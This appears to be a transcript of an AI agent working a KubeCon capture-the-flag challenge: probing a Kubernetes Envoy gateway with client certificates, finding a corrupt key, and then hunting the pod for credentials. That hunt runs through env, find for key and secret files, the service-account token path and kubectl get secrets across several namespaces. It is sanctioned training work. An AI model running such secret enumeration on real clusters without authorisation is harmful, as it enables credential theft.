ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | grep -v '^\[?' | grep -v '^\]0;' | grep -v '^▐\|^▝\|^ ▐\|^▗\|^ █\|^ ▄\|^_  _\|^( \\\|^ )\|^(_/'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
SSHEOF
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== WITHOUT CERT ==="
curl -svk https://$GWIP 2>&1 | tail -20
echo "=== WITH CERT VERBOSE ==="
curl -svk --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1 | tail -30
echo "=== HTTP ROUTES ==="
kubectl get httproutes -A -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== WITHOUT CERT ==="
[?2004l=== WITHOUT CERT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -svk https://$GWIP 2>&1 | tail -20
[?2004l} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x5f50f52d59f0)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> user-agent: curl/7.81.0
> accept: */*
> 
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Failed receiving HTTP2 data
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* OpenSSL SSL_write: Broken pipe, errno 32
* Failed sending HTTP2 data
* Connection #0 to host 10.111.253.191 left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== WITH CERT VERBOSE ==="
[?2004l=== WITH CERT VERBOSE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -svk --cert /tmp/c.crt --key /tmp/c.key httpss://$GWIP 2>&1 | tail -30
[?2004l*  start date: Feb 18 08:57:51 2026 GMT
*  expire date: Feb 16 08:57:51 2036 GMT
*  issuer: O=Linkerd-CTF; CN=Linkerd-CTF
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* Using HTTP2, server supports multiplexing
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* Using Stream ID: 1 (easy handle 0x5f96d9ebb9f0)
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
> GET / HTTP/2
> Host: 10.111.253.191
> user-agent: curl/7.81.0
> accept: */*
> 
* TLSv1.2 (OUT), TLS header, Supplemental data (23):
} [5 bytes data]
* TLSv1.3 (OUT), TLS alert, decode error (562):
} [2 bytes data]
* OpenSSL SSL_read: error:0A000126:SSL routines::unexpected eof while reading, errno 0
* Failed receiving HTTP2 data
* OpenSSL SSL_write: SSL_ERROR_SYSCALL, errno 0
* Failed sending HTTP2 data
* Connection #0 to host 10.111.253.191 left intact
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HTTP ROUTES ==="
[?2004l=== HTTP ROUTES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get httproutes -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
  resourceVersion: ""
Error from server (Forbidden): httproutes.gateway.networking.k8s.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "httproutes" in API group "gateway.networking.k8s.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Try HTTP/1.1 and TLS options with client cert
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
SSHEOF
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
echo "=== HTTP1.1 WITH CERT ==="
curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
echo "=== TLSv1.3 ==="
curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crt --key /tmp/c.key https://$GWIP 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sysstem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grepp '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== HTTP1.1 WITH CERT ==="
[?2004l=== HTTP1.1 WITH CERT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --http1.1 --cert /tmp/c.crt --key /tmp/c..key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== TLSv1.3 ==="
[?2004l=== TLSv1.3 ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -sk --tls-max 1.3 --http1.1 --cert /tmp/c.crtt --key /tmp/c.key https://$GWIP 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 56
Connection to 35.179.133.134 closed.
Thinking
$ Bash
Verify cert and key are valid
# Verify cert/key locally
openssl x509 -in /tmp/client.crt -text -noout 2>&1 | head -15
echo "==="
openssl rsa -in /tmp/client.key -check -noout 2>&1
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            18:e2:0b:24:d6:3e:9a:f8:41:03:c2:db:6c:ed:e5:f3:27:7e:6e:2a
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: O = Linkerd-CTF, CN = Linkerd-CTF
        Validity
            Not Before: Feb 18 08:58:35 2026 GMT
            Not After : Feb 16 08:58:35 2036 GMT
        Subject: CN = LinkerdClientUser
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
===
RSA key not ok
40D79F39737D0000:error:02000080:rsa routines:rsa_validate_keypair_multiprime:p not prime:../crypto/rsa/rsa_chk.c:70:
40D79F39737D0000:error:0200007F:rsa routines:rsa_validate_keypair_multiprime:n does not equal p q:../crypto/rsa/rsa_chk.c:105:
40D79F39737D0000:error:0200007B:rsa routines:rsa_validate_keypair_multiprime:d e not congruent to 1:../crypto/rsa/rsa_chk.c:157:
40D79F39737D0000:error:0200007C:rsa routines:rsa_validate_keypair_multiprime:dmp1 not congruent to d:../crypto/rsa/rsa_chk.c:172:
40D79F39737D0000:error:0200007E:rsa routines:rsa_validate_keypair_multiprime:iqmp not inverse of q:../crypto/rsa/rsa_chk.c:196:
Thinking

The private key is invalid ("p not prime"). The cert in the CTP annotations is valid but the key is corrupted/fake. The challenge hint says to "dig around your environment for the right keys." Let me search the pod environment.

$ Bash
Search pod environment for the real private key
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== ENV ==="
env | sort
echo "=== FILESYSTEM ==="
find / -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "*cert*" -o -name "*secret*" -o -name "*flag*" 2>/dev/null | grep -v proc | grep -v sys
echo "=== MOUNTED VOLUMES ==="
mount | grep -v cgroup | grep -v proc | grep -v sys | grep -v tmpfs
echo "=== HOME ==="
ls -laR /root/ /home/ 2>/dev/null
echo "=== SA TOKEN ==="
ls -la /var/run/secrets/ 2>/dev/null
echo "=== CHECK SECRETS ==="
kubectl get secrets -n default 2>&1
kubectl get secrets -n backend 2>&1
kubectl get secrets -n production 2>&1
kubectl get secrets -n supersecret 2>&1
exit
SSHEOF
<persisted-output>
Output too large (46.4KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt

Preview (first 2KB):
_  _  _  ____  ____  _  _  _   _  _    __         __   ____   __   _  _  _  _  ____  
( \/ \/ )(  __)/ ___)/ )( \(_) (  ( \  / _\  ___  / _\ (  _ \ /  \ / )( \(  ( \(  _ \ 
 )    (   ) _) \___ \) __ ( )( /    / ( (_ \(___)/    \ )   /( () )) \/ (/    / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__)  \__/      \_/\_/(_)\_) \__/ \____/\_)__)(____/

Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)

Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

To begin your heist, knock on the front door of the Envoy Gateway IP

export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP

The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.

Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.

echo "=== ENV ==="
env | sort
echo "=== FILESYSTEM ==="
...
</persisted-output>
Read
{
  "file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
  "offset": 60,
  "limit": 200
}
    60→[?2004l=== ENV ===
    61→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# env | sort
    62→[?2004lDEBIAN_FRONTEND=noninteractive
    63→HOME=/root
    64→HOSTNAME=jumppod-cd5dfbd7-m4b2w
    65→KUBERNETES_PORT=tcp://10.96.0.1:443
    66→KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
    67→KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
    68→KUBERNETES_PORT_443_TCP_PORT=443
    69→KUBERNETES_PORT_443_TCP_PROTO=tcp
    70→KUBERNETES_SERVICE_HOST=10.96.0.1
    71→KUBERNETES_SERVICE_PORT=443
    72→KUBERNETES_SERVICE_PORT_HTTPS=443
    73→LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
    74→PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    75→PWD=/root
    76→SHLVL=0
    77→TERM=xterm
    78→_=/usr/bin/env
    79→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== FILESYSTEM ==="
    80→[?2004l=== FILESYSTEM ===
    81→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# find / -name "*.key" -o -name "*.pem" -o -name "*..crt" -o -name "*cert*" -o -name "*secret*" -o -name "*flag*" 2>/dev/null | grep  -v proc | grep -v sys
    82→[?2004l/usr/lib/ssl/certs
    83→/usr/share/doc/ca-certificates
    84→/usr/share/doc/ca-certificates/examples/ca-certificates-local
    85→/usr/share/ca-certificates
    86→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt
    87→/usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
    88→/usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
    89→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
    90→/usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt
    91→/usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt
    92→/usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
    93→/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
    94→/usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt
    95→/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
    96→/usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt
    97→/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt
    98→/usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt
    99→/usr/share/ca-certificates/mozilla/GTS_Root_R2.crt
   100→/usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
   101→/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
   102→/usr/share/ca-certificates/mozilla/AffirmTrust_Premium.crt
   103→/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt
   104→/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt
   105→/usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt
   106→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt
   107→/usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt
   108→/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt
   109→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-02.crt
   110→/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
   111→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt
   112→/usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt
   113→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt
   114→/usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
   115→/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt
   116→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt
   117→/usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt
   118→/usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
   119→/usr/share/ca-certificates/mozilla/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.crt
   120→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt
   121→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
   122→/usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt
   123→/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt
   124→/usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
   125→/usr/share/ca-certificates/mozilla/AffirmTrust_Networking.crt
   126→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
   127→/usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt
   128→/usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt
   129→/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
   130→/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt
   131→/usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
   132→/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt
   133→/usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt
   134→/usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
   135→/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
   136→/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt
   137→/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
   138→/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
   139→/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt
   140→/usr/share/ca-certificates/mozilla/AffirmTrust_Premium_ECC.crt
   141→/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt
   142→/usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt
   143→/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt
   144→/usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt
   145→/usr/share/ca-certificates/mozilla/GTS_Root_R3.crt
   146→/usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
   147→/usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt
   148→/usr/share/ca-certificates/mozilla/AffirmTrust_Commercial.crt
   149→/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-01.crt
   150→/usr/share/ca-certificates/mozilla/ACCVRAIZ1.crt
   151→/usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt
   152→/usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt
   153→/usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
   154→/usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt
   155→/usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt
   156→/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt
   157→/usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt
   158→/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt
   159→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_1.crt
   160→/usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt
   161→/usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
   162→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
   163→/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt
   164→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G4.crt
   165→/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
   166→/usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt
   167→/usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt
   168→/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
   169→/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt
   170→/usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
   171→/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
   172→/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt
   173→/usr/share/ca-certificates/mozilla/Izenpe.com.crt
   174→/usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
   175→/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt
   176→/usr/share/ca-certificates/mozilla/GTS_Root_R4.crt
   177→/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
   178→/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt
   179→/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
   180→/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt
   181→/usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt
   182→/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt
   183→/usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
   184→/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt
   185→/usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
   186→/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt
   187→/usr/share/ca-certificates/mozilla/Security_Communication_RootCA3.crt
